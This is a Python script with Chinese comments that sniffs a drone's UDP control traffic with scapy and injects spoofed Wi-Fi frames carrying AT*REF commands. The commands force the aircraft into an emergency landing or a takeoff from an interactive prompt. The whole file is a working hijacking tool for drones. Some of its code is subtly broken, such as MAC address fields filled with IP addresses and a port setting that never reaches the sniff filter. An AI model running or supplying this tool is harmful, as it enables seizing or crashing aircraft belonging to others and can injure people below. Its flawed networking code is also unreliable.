import threading from scapy.layers.dot11 import Dot11 from scapy.layers.l2 import LLC, SNAP from scapy.layers.inet import IP, UDP from scapy.all import sniff, sendp, Raw from scapy.config import conf import argparse import logging import socket # 配置日志模块,将错误信息记录到uav_control.log文件中,只记录ERROR及以上级别的日志 # 这样在程序运行出现问题时,可以通过查看该日志文件排查错误原因 logging.basicConfig(filename='uav_control.log', level=logging.ERROR, format='%(asctime)s - %(levelname)s - %(message)s') # 定义无人机通信使用的UDP端口号,初始化为5556,可通过命令行参数传入调整 # 这里的端口号是假设值,根据实际情况,不同的无人机可能使用不同的UDP端口进行通信 NAVPORT = 5556 # 定义不同操作对应的编码值,可考虑后续提取到配置文件中方便修改,这里先初始化为示例值 # 这些编码值用于构造向无人机发送的特定控制命令 LAND = '290717696' EMER = '290717952' TAKEOFF = '1290718208' # 定义一个继承自threading.Thread的类,用于在后台线程中执行网络数据包的拦截和处理操作 class InterceptThread(threading.Thread): def __init__(self): # 调用父类(threading.Thread)的构造函数来初始化线程相关的属性 threading.Thread.__init__(self) # 用于保存当前捕获到的数据包,初始化为None,后续在捕获到数据包时会进行赋值 self.cur_pkt = None # 用于记录数据包相关的序列号信息,初始化为0,会根据解析数据包内容进行更新 self.seq = 0 # 用于标记是否已经发现了目标无人机,初始化为False,当首次捕获到相关数据包时会设为True self.found_uav = False def run(self): """ 重写Thread类的run方法,在线程启动后执行该方法。 在此方法中,通过scapy的sniff函数开始嗅探符合条件(UDP端口为NAVPORT)的网络数据包, 并将捕获到的每个数据包传递给intercept_pkt方法进行处理。 如果嗅探过程中出现异常,会将错误信息记录到日志文件中。 """ try: sniff(prn=self.intercept_pkt, filter=f'udp port {NAVPORT}') except Exception as e: logging.error(f"[!] Error occurred during packet sniffing: {str(e)}") def intercept_pkt(self, pkt): """ 处理捕获到的每个数据包的方法。 当首次捕获到数据包且还未标记发现无人机(self.found_uav为False)时,执行以下操作: 1. 打印提示信息表示发现了无人机。 2. 将self.found_uav标记为True,表示已经发现目标。 3. 将当前捕获的数据包赋值给self.cur_pkt,方便后续基于此数据包构造并发送命令。 4. 尝试从数据包的原始负载中解析出序列号相关信息,并进行计算处理(将解析出的值转换为整数后加5赋给self.seq)。 如果在解析过程中出现ValueError(比如无法转换为整数)或者IndexError(比如分割后找不到对应元素)等异常情况, 会记录错误日志并将self.seq设置为0。 """ if not self.found_uav: print('[*] UAV Found.') self.found_uav = True self.cur_pkt = pkt raw = pkt.sprintf('%Raw.load%') try: self.seq = int(raw.split(', ')[0].split('=')[-1]) + 5 except (ValueError, IndexError) as e: logging.error(f"[!] Error parsing sequence number from packet: {str(e)}") self.seq = 0 def inject_cmd(self, cmd): """ 向无人机注入命令的方法。 首先判断是否已经捕获到了数据包(即self.cur_pkt是否为None),如果没有捕获到数据包则打印提示信息并直接返回, 不进行后续命令注入操作。若已经捕获到数据包,则开始构建要发送给无人机的数据包,步骤如下: 1. 使用Dot11类构建dot11层,设置相关的类型、子类型以及源地址和目的地址(从捕获的当前数据包中获取相应地址进行设置)。 2. 创建空的LLC层、SNAP层。 3. 通过复制当前数据包中的IP层和UDP层的源端口、目的端口以及源地址、目的地址等信息构建ip层和udp层。 4. 使用Raw类构建包含要发送的命令内容的raw层。 5. 按照各协议层顺序组合构建出完整的要发送的数据包inject_pkt。 6. 通过sendp函数在指定的网络接口(conf.iface)上发送该数据包。 若发送过程中出现异常,同样会记录错误日志。 """ if self.cur_pkt is None: print("[!] No packet found to inject command.") return dot11 = Dot11(type=0, subtype=0, addr1=self.cur_pkt[IP].src, addr2=self.cur_pkt[IP].dst, addr3=self.cur_pkt[IP].src) llc = LLC() snap = SNAP() ip = IP(src=self.cur_pkt[IP].src, dst=self.cur_pkt[IP].dst) udp = UDP(sport=self.cur_pkt[UDP].sport, dport=self.cur_pkt[UDP].dport) raw = Raw(load=cmd) inject_pkt = dot11 / llc / snap / ip / udp / raw try: sendp(inject_pkt, iface=conf.iface) except Exception as e: logging.error(f"[!] Error sending injected packet: {str(e)}") def emergency_land(self): """ 发送紧急降落命令给无人机的方法。 首先计算一个伪造的序列号(在当前记录的self.seq基础上加100), 然后按照特定的命令格式(使用类似AT*开头的命令字符串,结合对应的操作编码值EMER)构造两个命令字符串, 最后通过调用self.inject_cmd方法将这两个命令依次注入发送给无人机,从而实现紧急降落的控制操作。 """ spoof_seq = self.seq + 100 watch = f'AT*COMWDG={spoof_seq}\r' to_cmd = f'AT*REF={spoof_seq + 1},{EMER}\r' self.inject_cmd(watch) self.inject_cmd(to_cmd) def takeoff(self): """ 发送起飞命令给无人机的方法。 与emergency_land方法类似,首先计算伪造序列号(在self.seq基础上加100), 然后按照对应起飞操作的命令格式(结合TAKEOFF编码值)构造两个命令字符串, 最后调用self.inject_cmd方法将命令注入发送给无人机,实现起飞的控制操作。 """ spoof_seq = self.seq + 100 watch = f'AT*COMWDG={spoof_seq}\r' to_cmd = f'AT*REF={spoof_seq + 1},{TAKEOFF}\r' self.inject_cmd(watch) self.inject_cmd(to_cmd) def get_default_iface(): """ 获取默认的网络接口名称的函数。 通过创建一个UDP套接字,并使用ioctl系统调用尝试获取默认的网络接口信息。 如果获取过程中出现异常,会将错误信息记录到日志文件中,并返回默认的接口名称'eth0'(这里假设默认接口为'eth0', 实际情况中可能需要根据不同操作系统和网络配置进行调整)。 """ try: # 创建一个基于IPv4地址族,UDP协议的套接字 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # 使用ioctl系统调用获取默认接口信息,具体的调用参数(0x8915和32)与操作系统底层相关 return socket.ioctl(s.fileno(), 0x8915, 32) except Exception as e: logging.error(f"[!] Error getting default interface: {str(e)}") return 'eth0' def main(): """ 主函数,程序的入口点,负责解析命令行参数、配置网络接口、启动数据包拦截线程以及处理用户交互等主要流程。 """ # 创建命令行参数解析器,用于解析用户在命令行传入的参数 parser = argparse.ArgumentParser(description='UAV control program') # 添加'--iface'命令行参数,用于指定网络接口名称,默认值通过调用get_default_iface函数获取, # 并提供参数说明信息,帮助用户了解该参数的作用 parser.add_argument('--iface', type=str, default=get_default_iface(), help='Network interface to use') # 添加'--port'命令行参数,用于指定无人机通信使用的UDP端口号,默认值为5556,同样提供参数说明 parser.add_argument('--port', type=int, default=5556, help='UDP port for UAV communication') args = parser.parse_args() try: # 根据命令行参数传入的接口名称设置scapy的网络接口,若设置过程中出现ValueError异常(比如接口名称无效), # 会记录错误日志并结束程序 conf.iface = args.iface except ValueError as e: logging.error(f"[!] Error setting interface: {str(e)}") return NAVPORT = args.port # 创建InterceptThread类的实例,用于在后台线程中拦截无人机的网络数据包 uav_intercept = InterceptThread() # 启动线程,开始执行数据包拦截和处理的相关操作 uav_intercept.start() print('[*] Listening for UAV Traffic. Please WAIT...') while not uav_intercept.found_uav: pass while True: # 获取用户输入,提示用户可以输入特定指令来执行相应的无人机控制操作 input_str = input('[-] Enter "land" to Emergency Land UAV, "takeoff" to make UAV take off: ') if input_str.lower() == "land": uav_intercept.emergency_land() elif input_str.lower() == "takeoff": uav_intercept.takeoff() else: print("[-] Invalid input. Please enter 'land' or 'takeoff'.") if __name__ == '__main__': main()